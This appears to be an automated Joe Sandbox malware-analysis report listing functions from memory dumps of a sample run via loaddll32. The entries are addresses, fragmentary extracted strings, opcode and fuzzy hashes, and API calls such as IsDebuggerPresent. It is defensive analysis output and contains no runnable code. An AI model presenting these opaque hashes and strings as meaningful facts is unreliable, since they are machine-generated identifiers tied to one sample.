Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: -a($@#$@I$D$G&$aA]<$|p
API String ID: 0-3359372099
Opcode ID: 7632ed991401e290b1e87a56e42cb61a4310c8ac23e57ad9c2fe25d5879b0e9c
Instruction ID: b14cd7e3cb1180f13853f0bf2e9f3bd086e862143fa814e24de5f21053c8020c
Opcode Fuzzy Hash: 7632ed991401e290b1e87a56e42cb61a4310c8ac23e57ad9c2fe25d5879b0e9c
Instruction Fuzzy Hash: 89C1FFB25083809FD368CF25C889A5BFBF2BBC5748F108A1DF29596261D3B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B04A4, Relevance: 9.0, Strings: 7, Instructions: 202COMMON

Download Yara Rule

Strings

4t, xrefs: 007B051F
}', xrefs: 007B07D6
}', xrefs: 007B070A
}', xrefs: 007B080A
', xrefs: 007B06CB
LH, xrefs: 007B055B
H}B, xrefs: 007B062E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4t$H}B$LH$}'$}'$}'$'
API String ID: 0-3450385318
Opcode ID: 8a7d790e2a0b9fe17861bf6a39fc7ff86fdba7636d14fd607b668e42a7c1a704
Instruction ID: e8e0fd1946839b636758f75c3d4091e53eaee1bb8a03ce08e07d664dc85c2b02
Opcode Fuzzy Hash: 8a7d790e2a0b9fe17861bf6a39fc7ff86fdba7636d14fd607b668e42a7c1a704
Instruction Fuzzy Hash: DD9121722093409FC758CF65D58A91BFBF2FBC8748F108A0DF19986260D7B59A49CF86

Uniqueness

Uniqueness Score: -1.00%

Function 007B3130, Relevance: 7.9, Strings: 6, Instructions: 386COMMON

Download Yara Rule

Strings

7]bM, xrefs: 007B3313
BD, xrefs: 007B3498
c/, xrefs: 007B33C2
z, xrefs: 007B332B
-o, xrefs: 007B3472
{d, xrefs: 007B32BA

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: BD$-o$7]bM$c/${d$z
API String ID: 0-1369920251
Opcode ID: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction ID: d885dc1071a329899764ca53d3e1ba84c16e86ba132020256b1bdd8ed4f7430e
Opcode Fuzzy Hash: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction Fuzzy Hash: 55122372908380DFD368DF25C48AA8BFBE2BBC5748F10891DF59986260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007AB12E, Relevance: 7.8, Strings: 6, Instructions: 313COMMON

Download Yara Rule

Strings

qt, xrefs: 007AB2DE
%r7, xrefs: 007AB2CD
v', xrefs: 007AB5EB
SG#, xrefs: 007AB1F4
6m%, xrefs: 007AB375
TY, xrefs: 007AB484

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: %r7$6m%$SG#$TY$qt$v'
API String ID: 0-3237691032
Opcode ID: cc2f09dc6a9ef620ca46997d225f3f49a47fdf4c3b5f888beb8caea3804fbf17
Instruction ID: 31f9782d09b68f56221fbcf31ed6797d0e02f781639908c513dcd35827a08457
Opcode Fuzzy Hash: cc2f09dc6a9ef620ca46997d225f3f49a47fdf4c3b5f888beb8caea3804fbf17
Instruction Fuzzy Hash: 65F100B15093809FD369DF61C94AA8BBBF1BBC5748F10891CF2DA86260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007BBA18, Relevance: 7.8, Strings: 6, Instructions: 254COMMON

Download Yara Rule

Strings

Wv, xrefs: 007BBADC
DF`, xrefs: 007BBA30
OY<, xrefs: 007BBC8E
OE, xrefs: 007BBBBA
XF, xrefs: 007BBB01
j,r), xrefs: 007BBCEB

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: OE$OY<$Wv$XF$j,r)$DF`
API String ID: 0-3120813865
Opcode ID: 7e14a28bac4d6a8acd8e2416179bdacf1055ee18362507798fce54e5aaf7e1e6
Instruction ID: 890415db714f0c4c4301156bbc5cdea0a630562bfeaa901002e6f7e4e0a4011d
Opcode Fuzzy Hash: 7e14a28bac4d6a8acd8e2416179bdacf1055ee18362507798fce54e5aaf7e1e6
Instruction Fuzzy Hash: C7C142725083809FD398CF61C98A94BFBE1FBC4748F108A1DF5959A260D3B9D909CF82

Uniqueness

Uniqueness Score: -1.00%

Function 007BE7DA, Relevance: 7.8, Strings: 6, Instructions: 253COMMON

Download Yara Rule

Strings

"E), xrefs: 007BE9B1
X(, xrefs: 007BEB02
|, xrefs: 007BE978
Ti, xrefs: 007BE85F
vtc, xrefs: 007BE990
~Mj, xrefs: 007BEA7E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: "E)$Ti$X($vtc$|$~Mj
API String ID: 0-2927301414
Opcode ID: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction ID: 48fcdd5d8b43b1be8622e1a79833c37bd48a5526a60a6a4f57809729572f272f
Opcode Fuzzy Hash: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction Fuzzy Hash: 38C131B29083809FD358CF65C58994BFBE2FBC4758F108A1DF59A96260D3B58909CF47

Uniqueness

Uniqueness Score: -1.00%

Function 007B0A37, Relevance: 7.8, Strings: 6, Instructions: 251COMMON

Download Yara Rule

Strings

8z, xrefs: 007B0D80
0;, xrefs: 007B0BD8
His, xrefs: 007B0AB2
8z, xrefs: 007B0A83
~a, xrefs: 007B0BA0
(TO, xrefs: 007B0B57

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: (TO$0;$8z$8z$His$~a
API String ID: 0-2714135093
Opcode ID: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction ID: 3395ad363d3faf74c0381ee9591999814bbe4316568b77df0b5fb1d9ad9060a0
Opcode Fuzzy Hash: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction Fuzzy Hash: 31C141725083809FC368DF65C489A1BBBE1FBD5748F408A1DF69686260D7B9C948CF83

Uniqueness

Uniqueness Score: -1.00%

Function 007A196D, Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

E5, xrefs: 007A1B09
\a, xrefs: 007A1B80
), xrefs: 007A1A56
i_Z, xrefs: 007A1B6B
Ht|, xrefs: 007A19FB
I+C, xrefs: 007A1B36

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: )$E5$Ht|$I+C$\a$i_Z
API String ID: 0-3197448685
Opcode ID: f0a65d5abf23d1d508d8b9386d6e734e7e7d5194f801e77b8c65f54fb5da881c
Instruction ID: b00bffbfec3d488a52378dc98c5bbf2760959d1b3394b115310a0cb8c0d253ba
Opcode Fuzzy Hash: f0a65d5abf23d1d508d8b9386d6e734e7e7d5194f801e77b8c65f54fb5da881c
Instruction Fuzzy Hash: 6BB150B28083418FC358CF65D58941BFBF1BBC5358F508A2DF6A5A6260D3B58A49CF87

Uniqueness

Uniqueness Score: -1.00%

Function 007B5B7C, Relevance: 7.7, Strings: 6, Instructions: 228COMMON

Download Yara Rule

Strings

HU;, xrefs: 007B5DD5
YY, xrefs: 007B5C77
l] , xrefs: 007B5D61
*ZV, xrefs: 007B5BE7
&?, xrefs: 007B5CA8
,S, xrefs: 007B5B93

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: &?$*ZV$,S$HU;$YY$l]
API String ID: 0-166477480
Opcode ID: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction ID: d2208c7617b9fe20bd31d3e9f707560f5a8fe88ba638b1f471946536f930fe0b
Opcode Fuzzy Hash: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction Fuzzy Hash: 7CB12071A093419FC364CF29C189A1FFBE1BBD4758F108A2DF5959A224D3B5CA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 007A9565, Relevance: 7.7, Strings: 6, Instructions: 205COMMON

Download Yara Rule

Strings

L *, xrefs: 007A9794
`w, xrefs: 007A972A
p, xrefs: 007A9837
t&, xrefs: 007A970A
tV, xrefs: 007A96D5
K}, xrefs: 007A976B

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: K}$L *$`w$t&$tV$p
API String ID: 0-1343311438
Opcode ID: ae6d67fd2dc9b391820f3bf464109fe2f28259fec4f764f0b54328b46dd76d70
Instruction ID: 24f69d437158eeff1519a6b66d296905859ad48fe94fe6a84e33257d3f0cd9de
Opcode Fuzzy Hash: ae6d67fd2dc9b391820f3bf464109fe2f28259fec4f764f0b54328b46dd76d70
Instruction Fuzzy Hash: E4A14FB2808381AFD798CF25D48A40BFBE1BBD5758F005A1CF29596220D7B9D918CF83

Uniqueness

Uniqueness Score: -1.00%

Function 007B604E, Relevance: 7.7, Strings: 6, Instructions: 201COMMON

Download Yara Rule

Strings

?)U8, xrefs: 007B6223
T5(, xrefs: 007B61E9
hEG, xrefs: 007B606B
fm>, xrefs: 007B6110
'%,, xrefs: 007B60DF
6"-, xrefs: 007B618A

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: '%,$6"-$?)U8$T5($fm>$hEG
API String ID: 0-3939582796
Opcode ID: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction ID: f7145e64b9fd02a449667e6b7d07b74f9b79ea976091671db23b321b9f5c4372
Opcode Fuzzy Hash: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction Fuzzy Hash: 17A10EB5D0121CEBDF08CFE5D98A8DEBBB2FB48304F20815AE416BA250D7B51A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 007B6B91, Relevance: 7.7, Strings: 6, Instructions: 152COMMON

Download Yara Rule

Strings

fHB, xrefs: 007B6C96
r, xrefs: 007B6D1F
l/, xrefs: 007B6C30
tLo, xrefs: 007B6D34
-^, xrefs: 007B6CD3
AV, xrefs: 007B6BFD

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: -^$AV$fHB$l/$tLo$r
API String ID: 0-2229134097
Opcode ID: e55251512e63e6d181d7b2d591b0c82a057e6919f3cf55340db1c779eb4fbb91
Instruction ID: 09a3e5c85f2dd02835dd68e83d0d085712d08c42c4f95f6214f0ab0f763bc009
Opcode Fuzzy Hash: e55251512e63e6d181d7b2d591b0c82a057e6919f3cf55340db1c779eb4fbb91
Instruction Fuzzy Hash: 687131712083409FC758DF65C58985BBBF1FBC4B58F50992DF29A96260C3B98A48CF82

Uniqueness

Uniqueness Score: -1.00%

Function 007AFBEF, Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

G~s, xrefs: 007AFBF5
y, xrefs: 007AFC63
ge, xrefs: 007B0039
;, xrefs: 007AFF36
ED:, xrefs: 007AFF9B

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$ED:$G~s$ge$y
API String ID: 0-4105283278
Opcode ID: 14ac65fe68106e6939270b74fd0acf2aeb4ea12d8b26780d08bcff3256f902a3
Instruction ID: a6af5368e87495fe20914969336a676919c329ec2c41531db04493897e9168d1
Opcode Fuzzy Hash: 14ac65fe68106e6939270b74fd0acf2aeb4ea12d8b26780d08bcff3256f902a3
Instruction Fuzzy Hash: 87E100B15093809FC3A8CF26C58A64BFBE1FBC5708F508A0DF59996260D7B58949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 007AD899, Relevance: 6.5, Strings: 5, Instructions: 266COMMON

Download Yara Rule

Strings

bf, xrefs: 007ADAD5
&hL, xrefs: 007ADCAC
&hL, xrefs: 007ADCEB
'Q-, xrefs: 007AD90E
E_g, xrefs: 007AD92E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: &hL$&hL$'Q-$E_g$bf
API String ID: 0-3415602357
Opcode ID: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction ID: d156333954be58f455aee88c2713fbc2bf2b7bcd8e259a188da00e3a90e6e4c9
Opcode Fuzzy Hash: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction Fuzzy Hash: 13C152726093408FC368DF25D48A40BBBE1BBC4B58F108A2DF5969A260D7B6DD49CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007ABEF5, Relevance: 6.5, Strings: 5, Instructions: 240COMMON

Download Yara Rule

Strings

ln, xrefs: 007ABF02
>/f, xrefs: 007ABF84
", xrefs: 007AC08D
I, xrefs: 007AC14F
oNL, xrefs: 007ABEF8

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: "$>/f$I$ln$oNL
API String ID: 0-652186313
Opcode ID: 6d2e681d3516f87f5f7d1b684caead5bac81e4a1784a7ec7648391e2fad7dcaa
Instruction ID: 95a411bc617228964f4d2223882f374d8c2747e7a80e63976c18b8ea384a58ce
Opcode Fuzzy Hash: 6d2e681d3516f87f5f7d1b684caead5bac81e4a1784a7ec7648391e2fad7dcaa
Instruction Fuzzy Hash: CBC14FB11083819FC358CF65C58595BBBE1BBDA708F108A0DF19A96260D3B9DA49CF87

Uniqueness

Uniqueness Score: -1.00%

Function 007B56A9, Relevance: 6.5, Strings: 5, Instructions: 217COMMON

Download Yara Rule

Strings

(j], xrefs: 007B5722
]t, xrefs: 007B58BD
WQ, xrefs: 007B57BF
,d, xrefs: 007B5908
W, xrefs: 007B56F5

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: (j]$,d$WQ$W$]t
API String ID: 0-3511903769
Opcode ID: 7c41f85fa33df5ab78e265ad51cf33ae0e567ee5f58f6dfdcff152de3c92c781
Instruction ID: 5467c0b80f2f144efc070ad2f182bf0570fa090dd7899b15a197f286447d2198
Opcode Fuzzy Hash: 7c41f85fa33df5ab78e265ad51cf33ae0e567ee5f58f6dfdcff152de3c92c781
Instruction Fuzzy Hash: F7A141711087809FC358CF25C48AA1FBBE1FBC5758F604A1DF596AA260C3B99A49CF47

Uniqueness

Uniqueness Score: -1.00%

Function 007AE336, Relevance: 6.5, Strings: 5, Instructions: 215COMMON

Download Yara Rule

Strings

Y1, xrefs: 007AE43F
&", xrefs: 007AE5B8
S3, xrefs: 007AE4D8
y@ko, xrefs: 007AE40B
1, xrefs: 007AE457

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: &"$S3$Y1$y@ko$1
API String ID: 0-1237345320
Opcode ID: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction ID: 84e39bfe7c13dfb14e4095b74f4f1fe6adab185d33cdf4caa4cd03ce7e085949
Opcode Fuzzy Hash: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction Fuzzy Hash: FCA14271509341DFD358CF61C58992BBBE2FBD9708F408A1DF29696260D3B5DA098F43

Uniqueness

Uniqueness Score: -1.00%

Function 007C06EF, Relevance: 6.5, Strings: 5, Instructions: 204COMMON

Download Yara Rule

Strings

XU~, xrefs: 007C075B
~V, xrefs: 007C0800
`H*, xrefs: 007C073E
Smq, xrefs: 007C0770
GDK, xrefs: 007C0825

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: GDK$Smq$XU~$`H*$~V
API String ID: 0-3650479097
Opcode ID: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction ID: 1e9cfd57061e720524500adcfb5f1c9bc2aa795f6b281278f7401234ecbf8b78
Opcode Fuzzy Hash: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction Fuzzy Hash: 03A1F07250024CEBDF59CFA5C94A9CE3BA1FF48358F108119FE2A96260D3B6C959CF80

Uniqueness

Uniqueness Score: -1.00%

Function 007BD10B, Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

FnE, xrefs: 007BD14F
(1p, xrefs: 007BD27C
u'd, xrefs: 007BD323
2l, xrefs: 007BD216
5EV~, xrefs: 007BD15F

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: (1p$5EV~$FnE$u'd$2l
API String ID: 0-2267264843
Opcode ID: 767c9a27ea03ddf43b95f4a440caea4632920c5803870e6b9b5ecd9884584c20
Instruction ID: fa599bab051711a2cd20abdf23d040a998ceab4dfe4272afefc30e95699cf2af
Opcode Fuzzy Hash: 767c9a27ea03ddf43b95f4a440caea4632920c5803870e6b9b5ecd9884584c20
Instruction Fuzzy Hash: 72915471508380DBC358DF64C88A51BFBE2FBC5758F105A2DF58596220D7BAD958CB83

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBD1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EDBD1D8
IsDebuggerPresent.KERNEL32 ref: 6EDBD2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EDBD2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6EDBD2CE

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5dcafa7c52633e3455345822b3319e9f5039a40a193c30db45a42214c1d38e35
Instruction ID: 9bb00283ba20ffd728ab0f7f6461579d5e6f875c252fea3f57787636369757d5
Opcode Fuzzy Hash: 5dcafa7c52633e3455345822b3319e9f5039a40a193c30db45a42214c1d38e35
Instruction Fuzzy Hash: 973109B5D0521DDBEF10DFA4C989BCCBBB8AF04744F1041AAE40EAB240EB719A85DF54

Uniqueness

Uniqueness Score: -1.00%

Function 007B13DB, Relevance: 5.4, Strings: 4, Instructions: 400COMMON

Download Yara Rule

Strings

A{, xrefs: 007B158E
=t[, xrefs: 007B14B2
=Lw, xrefs: 007B1974
g,0, xrefs: 007B1885

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: =Lw$=t[$A{$g,0
API String ID: 0-3102551745
Opcode ID: 844e6d6142af861eacc39d2d78b2404ad7da6353cd5769925c1e173fc9d0cc17
Instruction ID: 73a7a071094297594e7e2e854a06d584e2ae5150f225a1be75527e3efea69dc1
Opcode Fuzzy Hash: 844e6d6142af861eacc39d2d78b2404ad7da6353cd5769925c1e173fc9d0cc17
Instruction Fuzzy Hash: 4E1231B15083809FD368CF65C58AA8BFBE2FBC4358F50891DF29986260D7B48949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007BC145, Relevance: 5.2, Strings: 4, Instructions: 222COMMON

Download Yara Rule

Strings

u_T, xrefs: 007BC355
.*&, xrefs: 007BC15A
+M, xrefs: 007BC240
Y\T, xrefs: 007BC26E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: +M$.*&$Y\T$u_T
API String ID: 0-2652214267
Opcode ID: 1e6e7df99697e413261a76bbf414ee044564bb8e4357aaa06fc4db26b7e28a87
Instruction ID: f9182a0f1928633d3928d705cb066ecbe4a5375b24ed7c89cc41dac6522df6b8
Opcode Fuzzy Hash: 1e6e7df99697e413261a76bbf414ee044564bb8e4357aaa06fc4db26b7e28a87
Instruction Fuzzy Hash: DAB133B5D00309EBCB54CFE5C98A6DEBBB0FF44314F208149E112BA2A4D3B41A49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 007A68AD, Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

AZk, xrefs: 007A69F5
(P, xrefs: 007A693D
C)/, xrefs: 007A6A46
Q5, xrefs: 007A6A6B

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: AZk$C)/$Q5$(P
API String ID: 0-3568429903
Opcode ID: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction ID: b18476a4179ca66859bcf530ce480d5f1ee15a4307569ba524cd27c86706ed45
Opcode Fuzzy Hash: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction Fuzzy Hash: C49102B2508380AFC358CF69C98A90BFBF2BBC5714F409A1DF59596260D7BAD905CF06

Uniqueness

Uniqueness Score: -1.00%

Function 007B7EDD, Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

bQ, xrefs: 007B7FF5
VXe, xrefs: 007B7F21
Ge&, xrefs: 007B800A
q;\, xrefs: 007B809F

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: Ge&$VXe$bQ$q;\
API String ID: 0-2640374020
Opcode ID: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction ID: b80fcc8af526b53d46ebec53a5f78c55f72ec33ec1528017175049b981bde30d
Opcode Fuzzy Hash: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction Fuzzy Hash: 5E615271109305EFC798DF24C88A56BBBE1FBC4348F204A1DF596A6260D775CA49CB83

Uniqueness

Uniqueness Score: -1.00%

Function 007A1DF9, Relevance: 5.1, Strings: 4, Instructions: 146COMMON

Download Yara Rule

Strings

,\H, xrefs: 007A1FAE
af`, xrefs: 007A2056
c2O, xrefs: 007A1F52
,\H, xrefs: 007A2039

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ,\H$,\H$af`$c2O
API String ID: 0-3082886527
Opcode ID: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction ID: b3d209c21a134e569b68a36c2006e5478493a4658637522b0af6486a18e99615
Opcode Fuzzy Hash: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction Fuzzy Hash: E1517371609341CFD758CE28D58941FBBE2EBC8758F204A1EF196A6261D378CA09CF57

Uniqueness

Uniqueness Score: -1.00%

Function 007C35E3, Relevance: 5.1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

Strings

4`g, xrefs: 007C36FF
g6, xrefs: 007C3623
%uG, xrefs: 007C3683
!#, xrefs: 007C369C

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: %uG$4`g$g6$!#
API String ID: 0-3570404244
Opcode ID: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction ID: e395e838c401b24930d4190216b407e88a1628d3b9b471c507749ce17276e961
Opcode Fuzzy Hash: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction Fuzzy Hash: C95113B1C0131AEBCF55CFA4D94A9EEFBB0BB44718F20819DC511B6250D3B81A49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007BCF2C, Relevance: 5.1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

Strings

q, xrefs: 007BD02E
9b', xrefs: 007BCF35
zL, xrefs: 007BCF7B
(", xrefs: 007BCF83

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: zL$("$9b'$q
API String ID: 0-871342943
Opcode ID: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction ID: be61b0b8d95d2525d31f57bc1e5a144865a75bfb5b341869b1afd9f9ee4bbef4
Opcode Fuzzy Hash: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction Fuzzy Hash: 214146B25093019FC394DF20D58940BBBE1FBD4718F604A1DF49996224E7B8DA0ACF97

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC29E6, Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6EDC2ADE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6EDC2AE8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6EDC2AF5

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

